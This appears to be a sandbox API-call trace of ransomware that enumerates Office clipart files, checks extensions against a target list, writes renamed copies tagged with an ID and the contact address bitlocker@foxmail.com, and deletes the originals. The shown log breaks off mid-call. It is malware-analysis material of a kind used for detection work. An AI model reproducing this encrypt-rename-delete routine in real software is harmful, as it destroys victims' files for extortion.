[0189.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 63 [0189.951] lstrlenW (lpString=".doc") returned 4 [0189.951] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0189.951] lstrlenW (lpString=".docx") returned 5 [0189.952] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0189.952] lstrlenW (lpString=".pdf") returned 4 [0189.952] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0189.952] lstrlenW (lpString=".xls") returned 4 [0189.952] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0189.952] lstrlenW (lpString=".xlsx") returned 5 [0189.952] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0189.952] lstrlenW (lpString=".ppt") returned 4 [0189.952] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0189.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 63 [0189.952] lstrlenW (lpString=".zip") returned 4 [0189.952] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0189.952] lstrlenW (lpString=".rar") returned 4 [0189.952] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0189.952] lstrlenW (lpString=".bz2") returned 4 [0189.952] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0189.952] lstrlenW (lpString=".7z") returned 3 [0189.952] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0189.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 63 [0189.952] lstrlenW (lpString=".dbf") returned 4 [0189.952] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0189.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 63 [0189.952] lstrlenW (lpString=".1cd") returned 4 [0189.952] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0189.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 63 [0189.952] lstrlenW (lpString=".jpg") returned 4 [0189.952] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0189.953] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0189.953] lstrlenW (lpString="HM00005_.WMF") returned 12 [0189.953] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00005_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00005_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0189.953] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=23300) returned 1 [0189.953] CloseHandle (hObject=0x1f8) returned 1 [0189.953] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00005_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00005_.wmf")) returned 0x20 [0189.953] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00005_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00005_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0189.953] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00005_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00005_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0189.953] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0189.953] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0189.954] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00005_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00005_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0189.954] GetLastError () returned 0x0 [0189.954] ReadFile (in: hFile=0x1f8, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x5b04, lpOverlapped=0x0) returned 1 [0189.956] WriteFile (in: hFile=0x218, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0x5b10, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x5b10, lpOverlapped=0x0) returned 1 [0189.957] ReadFile (in: hFile=0x1f8, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0189.957] WriteFile (in: hFile=0x218, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0189.958] SetEndOfFile (hFile=0x218) returned 1 [0189.958] CloseHandle (hObject=0x218) returned 1 [0189.958] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0189.958] SetEndOfFile (hFile=0x1f8) returned 1 [0189.959] CloseHandle (hObject=0x1f8) returned 1 [0189.959] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00005_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0189.959] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00005_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00005_.wmf")) returned 1 [0189.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 63 [0189.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 63 [0189.959] lstrlenW (lpString=".doc") returned 4 [0189.959] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0189.959] lstrlenW (lpString=".docx") returned 5 [0189.959] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0189.959] lstrlenW (lpString=".pdf") returned 4 [0189.959] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0189.959] lstrlenW (lpString=".xls") returned 4 [0189.959] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0189.959] lstrlenW (lpString=".xlsx") returned 5 [0189.959] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0189.959] lstrlenW (lpString=".ppt") returned 4 [0189.959] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0189.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 63 [0189.960] lstrlenW (lpString=".zip") returned 4 [0189.960] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0189.960] lstrlenW (lpString=".rar") returned 4 [0189.960] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0189.960] lstrlenW (lpString=".bz2") returned 4 [0189.960] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0189.960] lstrlenW (lpString=".7z") returned 3 [0189.960] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0189.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 63 [0189.960] lstrlenW (lpString=".dbf") returned 4 [0189.960] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0189.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 63 [0189.960] lstrlenW (lpString=".1cd") returned 4 [0189.960] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0189.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 63 [0189.960] lstrlenW (lpString=".jpg") returned 4 [0189.960] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0189.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 63 [0189.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 63 [0189.960] lstrlenW (lpString=".doc") returned 4 [0189.960] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0189.960] lstrlenW (lpString=".docx") returned 5 [0189.960] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0189.960] lstrlenW (lpString=".pdf") returned 4 [0189.960] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0189.960] lstrlenW (lpString=".xls") returned 4 [0189.960] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0189.960] lstrlenW (lpString=".xlsx") returned 5 [0189.961] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0189.961] lstrlenW (lpString=".ppt") returned 4 [0189.961] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0189.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 63 [0189.961] lstrlenW (lpString=".zip") returned 4 [0189.961] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0189.961] lstrlenW (lpString=".rar") returned 4 [0189.961] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0189.961] lstrlenW (lpString=".bz2") returned 4 [0189.961] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0189.961] lstrlenW (lpString=".7z") returned 3 [0189.961] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0189.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 63 [0189.961] lstrlenW (lpString=".dbf") returned 4 [0189.961] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0189.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 63 [0189.961] lstrlenW (lpString=".1cd") returned 4 [0189.961] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0189.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 63 [0189.961] lstrlenW (lpString=".jpg") returned 4 [0189.961] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0189.961] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0189.961] lstrlenW (lpString="HM00114_.WMF") returned 12 [0189.961] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00114_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00114_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0189.962] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=22116) returned 1 [0189.962] CloseHandle (hObject=0x1f8) returned 1 [0189.962] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00114_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00114_.wmf")) returned 0x20 [0189.962] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00114_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00114_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0189.962] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00114_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00114_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0189.962] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0189.962] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0189.962] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00114_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00114_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0189.963] GetLastError () returned 0x0 [0189.963] ReadFile (in: hFile=0x1f8, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x5664, lpOverlapped=0x0) returned 1 [0189.964] WriteFile (in: hFile=0x218, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0x5670, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x5670, lpOverlapped=0x0) returned 1 [0189.966] ReadFile (in: hFile=0x1f8, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0189.966] WriteFile (in: hFile=0x218, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0189.966] SetEndOfFile (hFile=0x218) returned 1 [0189.966] CloseHandle (hObject=0x218) returned 1 [0189.966] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0189.966] SetEndOfFile (hFile=0x1f8) returned 1 [0189.967] CloseHandle (hObject=0x1f8) returned 1 [0189.967] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00114_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0189.967] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00114_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00114_.wmf")) returned 1 [0189.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 63 [0189.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 63 [0189.967] lstrlenW (lpString=".doc") returned 4 [0189.967] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0189.967] lstrlenW (lpString=".docx") returned 5 [0189.967] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0189.967] lstrlenW (lpString=".pdf") returned 4 [0189.967] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0189.967] lstrlenW (lpString=".xls") returned 4 [0189.968] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0189.968] lstrlenW (lpString=".xlsx") returned 5 [0189.968] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0189.968] lstrlenW (lpString=".ppt") returned 4 [0189.968] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0189.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 63 [0189.968] lstrlenW (lpString=".zip") returned 4 [0189.968] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0189.968] lstrlenW (lpString=".rar") returned 4 [0189.968] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0189.968] lstrlenW (lpString=".bz2") returned 4 [0189.968] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0189.968] lstrlenW (lpString=".7z") returned 3 [0189.968] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0189.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 63 [0189.968] lstrlenW (lpString=".dbf") returned 4 [0189.968] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0189.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 63 [0189.968] lstrlenW (lpString=".1cd") returned 4 [0189.968] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0189.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 63 [0189.968] lstrlenW (lpString=".jpg") returned 4 [0189.968] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0189.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 63 [0189.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 63 [0189.968] lstrlenW (lpString=".doc") returned 4 [0189.968] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0189.968] lstrlenW (lpString=".docx") returned 5 [0189.968] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0189.968] lstrlenW (lpString=".pdf") returned 4 [0189.968] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0189.968] lstrlenW (lpString=".xls") returned 4 [0189.969] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0189.969] lstrlenW (lpString=".xlsx") returned 5 [0189.969] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0189.969] lstrlenW (lpString=".ppt") returned 4 [0189.969] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0189.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 63 [0189.969] lstrlenW (lpString=".zip") returned 4 [0189.969] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0189.969] lstrlenW (lpString=".rar") returned 4 [0189.969] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0189.969] lstrlenW (lpString=".bz2") returned 4 [0189.969] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0189.969] lstrlenW (lpString=".7z") returned 3 [0189.969] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0189.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 63 [0189.969] lstrlenW (lpString=".dbf") returned 4 [0189.969] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0189.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 63 [0189.969] lstrlenW (lpString=".1cd") returned 4 [0189.969] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0189.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 63 [0189.969] lstrlenW (lpString=".jpg") returned 4 [0189.969] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0189.969] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0189.969] lstrlenW (lpString="HM00116_.WMF") returned 12 [0189.969] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00116_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00116_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0189.970] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=15852) returned 1 [0189.970] CloseHandle (hObject=0x1f8) returned 1 [0189.970] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00116_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00116_.wmf")) returned 0x20 [0189.970] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00116_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00116_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0189.970] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00116_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00116_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0189.970] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0189.970] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0189.970] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00116_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00116_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0189.971] GetLastError () returned 0x0 [0189.971] ReadFile (in: hFile=0x1f8, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x3dec, lpOverlapped=0x0) returned 1 [0189.972] WriteFile (in: hFile=0x218, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0x3df0, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x3df0, lpOverlapped=0x0) returned 1 [0189.973] ReadFile (in: hFile=0x1f8, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0189.973] WriteFile (in: hFile=0x218, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0189.973] SetEndOfFile (hFile=0x218) returned 1 [0189.974] CloseHandle (hObject=0x218) returned 1 [0189.974] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0189.974] SetEndOfFile (hFile=0x1f8) returned 1 [0189.974] CloseHandle (hObject=0x1f8) returned 1 [0189.975] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00116_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0189.975] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00116_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00116_.wmf")) returned 1 [0189.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 63 [0189.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 63 [0189.975] lstrlenW (lpString=".doc") returned 4 [0189.975] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0189.975] lstrlenW (lpString=".docx") returned 5 [0189.975] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0189.975] lstrlenW (lpString=".pdf") returned 4 [0189.975] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0189.975] lstrlenW (lpString=".xls") returned 4 [0189.975] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0189.975] lstrlenW (lpString=".xlsx") returned 5 [0189.975] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0189.975] lstrlenW (lpString=".ppt") returned 4 [0189.975] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0189.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 63 [0189.975] lstrlenW (lpString=".zip") returned 4 [0189.975] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0189.975] lstrlenW (lpString=".rar") returned 4 [0189.975] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0189.975] lstrlenW (lpString=".bz2") returned 4 [0189.975] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0189.976] lstrlenW (lpString=".7z") returned 3 [0189.976] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0189.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 63 [0189.976] lstrlenW (lpString=".dbf") returned 4 [0189.976] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0189.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 63 [0189.976] lstrlenW (lpString=".1cd") returned 4 [0189.976] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0189.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 63 [0189.976] lstrlenW (lpString=".jpg") returned 4 [0189.976] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0189.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 63 [0189.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 63 [0189.976] lstrlenW (lpString=".doc") returned 4 [0189.976] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0189.976] lstrlenW (lpString=".docx") returned 5 [0189.976] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0189.976] lstrlenW (lpString=".pdf") returned 4 [0189.976] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0189.976] lstrlenW (lpString=".xls") returned 4 [0189.976] lstrcmpiW (lpString1=".xls", 